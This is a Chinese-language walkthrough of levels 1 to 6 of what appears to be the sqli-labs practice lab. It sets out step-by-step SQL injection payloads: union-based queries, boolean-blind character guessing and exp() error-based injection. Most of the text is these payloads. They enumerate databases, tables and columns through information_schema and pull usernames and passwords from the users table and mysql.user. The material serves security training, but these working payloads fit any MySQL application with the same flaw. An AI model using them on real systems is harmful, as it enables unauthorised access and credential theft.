less-1(联合注入,跨库查询)
主页如图,输入参数id出存在sql注入
- 判断注入类型
输入1’让其报错,从报错信息我们可以看到这可能是单引号字符型注入
- 验证注入类型
#页面返回正常
1' and 1=1--+
#页面返回不正常
1' and 1=2--+
所以该注入类型为单引号字符型
- 确定字段数
#返回正常
1' order by 3--+
#返回异常
1' order by 4--+
多以可以看出该字段数为3
- 确定显示位置
-1' union select 1,2,3--+
- 查询数据库基本信息
#MySQL数据库版本
version()
#数据库用户名
user()
#数据库名
database()
#数据库路径
@@datadir
#操作系统版本
@@version_compile_os
-1' union select 1,version(),user()--+
-1' union select 1,database(),@@datadir--+
-1' union select 1,2,@@version_compile_os--+
- 查询所有数据库名
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
- 查询数据库’mysql’中所有的表(注意:查询的并不是当前数据库中表,当前数据库名为security)
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='mysql'--+
- 查询数据库’mysql’中user表中所有的列
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='mysql'--+
9. 查询用户数据
-1' union select 1,User,3 from mysql.user --+
less-2(联合注入)
- 通过报错信息可以看出该注入为数字型注入
- 验证注入类型
#页面返回正常
1 and 1=1--+
#页面返回不正常
1 and 1=2--+
- 判断字段数
1 order by 3
1 order by 4
可以看出注入的字段数为3
- 判断显示位置
-1 and union select 1,2,3
- 查询当前数据库名
-1 union select 1,2,database()
- 查询表名
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
- 查询列名
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
- 查询数据
-1 union select 1,group_concat(username),group_concat(password) from users
less-3(联合注入)
- 判断注入类型
1') and 1=1--+
1') and 1=2--+
- 判断注入的字段数
1') order by 3--+
1') order by 4--+
- 判断显示位置
-1') union select 1,2,3--+
- 查询所有的库
-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+
- 查询数据库mysql中所有的表
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='mysql'--+
- 查询列
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='mysql'--+
- 查询数据
-1') union select 1,group_concat(User),3 from mysql.user--+
less-4(联合注入)
- 判断注入类型
1") and 1=1--+
1") and 1=2--+
- 判断字段数
1") order by 3--+
1") order by 4--+
3. 判断显示位置
-1") union select 1,2,3--+
-1") union select 1,2,database()--+
4. 查询当前数据库中所有的表
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5. 查询users表中所有的列
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6. 查询数据
-1") union select 1,group_concat(username),group_concat(password) from users--+
less-5(布尔盲注)
- 判断注入类型
1' and 1=1--+
1' and 1=2 --+
2. 判断字段数
1' order by 3--+
1' order by 4--+
- 发现没有显示位置
-1' union select 1,2,3--+
- 猜解当前数据库名的长度
1' and length(database())=8--+
- 二分法查库名
查询库名的第一个字母
1' and left(database(),1)>'a'--+
1' and left(database(),1)>'m'--+
1' and left(database(),1)>'u'--+
1' and left(database(),1)='s'--+
#所以库名的第一个字母为s
查询库名的第二个字母
1' and left(database(),2)>'sa'--+
1' and left(database(),2)>'sm'--+
1' and left(database(),2)>'se'--+
1' and left(database(),2)='se'--+
#所以库名的第二个字母为e
以此类推,当前库名为 ‘security’
- 猜解库security中表的个数
1' and (select count(table_name) from information_schema.tables where table_schema='security')=3--+
1' and (select count(table_name) from information_schema.tables where table_schema='security')=4--+
可以看出库security中有四个表
- 猜解第一个表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=5--+
1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=6--+
#第一个表名的长度为6
- 二分法猜解第一个表名
二分法查询第一个表的第一个字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>97--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>110--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
#所以第一个表名的第一个字母为e
二分法查询第一个表的第二个字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+
#这里和上述步骤一样,只是将函数substr()修改了一下,只选取第二个字母
以此类推,第一个表名为emails
- 二分法猜解第二个表名
查询第二个表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1))=8--+
查询第二个表名的第一个字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+
#这里猜解步骤与前面相同,第一个字母为r
查询第二个表名的第二个字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+
#这里猜解步骤与前面相同,第一个字母为e
最后猜解出的表名为referers
以此类推可以猜解出4个表名emails,referers,uagents,users
- 猜解users表中的字段数
#与前面猜解表名方法相同,有三个字段
1' and (select count(column_name) from information_schema.columns where table_name='users')=3--+
- 猜解第一个字段的长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=2--+
- 二分法猜解第一个列名
查询第一个列名的第一个字母,
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
#第一个列名的第一个字母为i
查询第一个列名的第二·个字母,
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=100--+
#第一个列名的第二个字母为d
以此类推,可以查询到所有列名id,username,password
- 查询password例中有多少个数据内容
1' and (select count(password) from users)=13--+
- 查询passwords列中第一个数据的长度
1' and length(substr((select password from users limit 0,1),1))=4--+
- 查数据内容
1' and left((select password from users limit 0,1),1)='D' --+
1' and left((select password from users limit 0,1),2)='Du'--+
1' and left((select password from users limit 0,1),3)='Dum'--+
1' and left((select password from users limit 0,1),4)='Dumb'--+
以此类推,可以查询到所有的数据
less-6(exp报错注入)
- 双引号字符型注入
1" and 1=1--+
1" and 1=2--+
- 查看当前数据库
1" union select 1,2,exp(~(select * from (select database())a))--+
- 查看所有的列
1" union select 1,2,exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema='security')a))--+
- 查询users表中所有的列
1" union select 1,2,exp(~(select * from (select group_concat(column_name) from information_schema.columns where table_name='users')a))--+
- 查询表users中username列中所有的数据
1" union select 1,2,exp(~(select * from (select group_concat(username) from users)a))--+
1" union select 1,2,exp(~(select * from (select group_concat(password) from users)a))--+
总结:
前四关是简单的联合注入,主要考察判断注入类型,注入类型的判断很重要。第五关与第六关主要考察盲注,这里也有很多的注入方法,布尔盲注,时间盲注。也可以使用报错注入(exp报错注入,updatexml报错注入,extractvalue()报错注入,floor()报错注入,)